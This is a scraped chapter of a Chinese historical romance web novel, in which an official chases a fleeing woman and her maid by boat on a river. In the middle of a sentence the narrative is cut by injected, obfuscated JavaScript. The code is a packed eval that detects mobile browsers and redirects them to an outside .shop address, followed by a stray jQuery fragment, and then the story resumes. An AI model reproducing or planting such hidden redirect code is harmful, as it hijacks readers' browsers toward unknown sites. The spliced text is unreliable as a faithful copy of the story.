卫恪焉自上了船便不发一言。
他沉默地坐在船舱阴暗处,凝着染血的簪子,神色晦暗难辨。
无人知晓他此刻翻涌着什么念头。
或许他现在什么都没想。
大概是之前想的太久,脑子迟钝滞涩,已经转不动了。
大脑空蒙蒙的,反倒生出疏离的清醒。
元辞元骁静侯在两侧,不敢抬头。
浔川郡还剩下的一些收尾,已然全部丢给了许俏。
许俏憋得一肚子火。
装深沉就可以不干活吗?
卫恪焉临走之前,许俏实在是忍不住,就刺了他几句:
“你这般急急忙忙的,到底有何用,难不成是要过去英雄救美?”
他冷嗤一声,“我不信你没看出其中的蹊跷,说不准那个栖尘道长是自己要走,准备和那个姓袁的双宿双飞去了,你又何苦去寻?”
卫恪焉登时便黑了脸,念在许俏还有用,没有刺回去。
他如何不知栖尘失踪一事处处透着可疑。
但巡查的人在江边发现的脚印,是最后的线索。
全城戒严,满城寻栖尘不得,定是已从浔川郡离开了。
若是想离开浔川郡只有那一条江道可走。
他不敢放过这个可能。
其实他心中隐约明白许俏说得也许是对的。
栖尘可能是自愿和袁贼离开的,甚至是早有预谋。
只有这样才能解释清楚许多问题。
在太守处为何搜不出迷药,栖尘为何当日执意外出看诊,袁贼是如何提前预料到太守的埋伏的?
这些问题似乎都有了答案。
可栖尘会吗?
他脑子里乱得厉害。
不应该自己瞎想的,栖尘如今不知去向,自己怎么能去怀疑她。
这些定是袁贼设下的迷障想来误导他。
他们所乘之船乃官府快船,桨夫齐备、形制迅捷,要不了多久便能追上。
等栖尘回来了再想吧。
“大人,前面有艘船。”
卫恪焉将簪子收好,拿起弓向甲板走去。
先射断帆绳,阻其风力,看他还能往哪跑。
—————
鸢儿出舱查看时,篷索已断,方才那声沉闷重物坠响,原是船帆轰然塌落之声。
心头骤然一沉,没了风帆借力,她们再难逃脱了。
她抬起头,一艘形制宽大的官船映入眼帘。
船头的那个人穿着浅色长衫,形似鬼魅,手中射断帆绳的弓还未放下。
见她出来,弦更是猛的拉紧,一支箭倏地朝她射来。
“大胆贼人,还不束手就擒。栖尘勿怕,我来救你了。”
船舱内的舒晏听见是卫恪焉的声音,已觉不妙。
“鸢儿,快进来。”
鸢儿持刀劈箭,迅速闪身躲进了船舱。
船帆已断,她们的小船马上就会被卫恪焉赶上。
四周皆是深不见底的江水,原本是奔向自由的方舟,此刻却变成束缚二人的囚笼。
舒晏眸光闪动,几个呼吸间便有了主意。
她稳住心神,握住鸢儿的手,低声交代:
“卫恪焉此刻未必知晓你我是同伙。你先挟持我自保,你水性出众,待有机会便跳船离去。他的目标是我,若是平白连累了你的性命,真是教我死也不安心。”
鸢儿闻言立刻摇摇头,“不行娘子,你的性命便是我的性命,这些年因着你我已是多活了好些年,我不怕的,我得陪着你。”
眨眼间,又有数支箭钉入船身。
江水顺着箭孔涓涓漫入,船身微微向一侧倾斜,舱底积起水,眼看就要往下沉。
不能再等了。
舒晏急声命令道:“只有你活着,家中才知道我在哪,日后总还有机会的。卫恪焉他说的是来救我,他以为我是受你胁迫,我尚有活路。你若留下来,我们才是必死无疑。快些,他们的船已经离得近了。”
鸢儿咬着牙,将短刃虚虚抵在了舒晏的颈前,挟持着她走出了船舱。
卫恪焉见着栖尘安然无恙,眼眶骤然发酸,热泪几欲滚落。
但见她穿着男子样式衣袍,他心底总有着微妙的不适预感。
他目光微转,落在了抵在栖尘喉间的短刃上,倏地沉下眸子。
他先温声宽慰栖尘:“我来寻你了,你勿怕。”
话音未落,他抬手再度拉满长弓,箭尖直直对准袁贼头颅。
正要松手之际,栖尘似是无意间动了动身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746505|208090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子,死死挡在了贼人面前,一时竟叫他无从下手。
舒晏侧着身,嘴唇几不可查地动了动。
鸢儿依言重复道:“尔等不许再往前行船半分!即刻砍断船帆停船,否则我立刻了结这道长的性命。”
卫恪焉眸色幽深,拉着弦的手一顿。
搅乱他心神的声音复又响起。
“卫郎,我好害怕。”
见卫恪焉只是松了箭,却没有撤下船帆。
舒晏又带着哭腔颤声哀求,“卫郎,你听他的快停下,先放他离开吧,我真的好怕。”
听着美人这样的惊惧哀求,大概所有人都会动容吧。
何况是他这样一个贪图美色的恶人呢。
卫恪焉在心底冷笑。
他神色平静地垂落长弓,淡然地向身后的人示意。
“去砍。”
元骁虽心有不甘,但为着道长安全,还是咬着牙将船帆砍断。
两船的距离没有再拉近。
舒晏脸上还挂着泪,暗中却对鸢儿使起眼色,示意她伺机跳船,自己再给她拖延些时间。
鸢儿心领神会,挟持着她慢慢挪向船舷。
二人正堪堪行至船边。
下一瞬,尖锐的破空声兀地撕开江风。
时间似骤然慢了半拍,视线里只见一点寒芒自官船脱弦而出。
箭矢离弦,漾出细碎的嗡鸣。
直直朝二人飞掠而来。
鸢儿瞳孔骤缩,下意识地撤下抵在娘子颈前的短刃,想也不想地揽住舒晏,抬手横刀欲格挡飞箭。
舒晏也顺势,贴进鸢儿的怀中。
下意识的反应,是做不得假的。
可那支箭却并不是为了伤人。
箭身堪堪擦着她们险险掠过,随后重重地钉在了身侧船板上。
舒晏未料到卫恪焉竟会突然发难,后怕地看着那只还在震颤着的箭羽。
惶惑困在心头不过瞬息,一阵寒意猛地侵入她的四肢百骸。
伏在鸢儿怀中的身子蓦地僵住。
她机械地转过头,怔怔望向对面的官船。
甲板上卫恪焉的面色早已黑如锅底,眸中再无半分怜惜。
她的心彻底沉了下去。
这下是真的完了。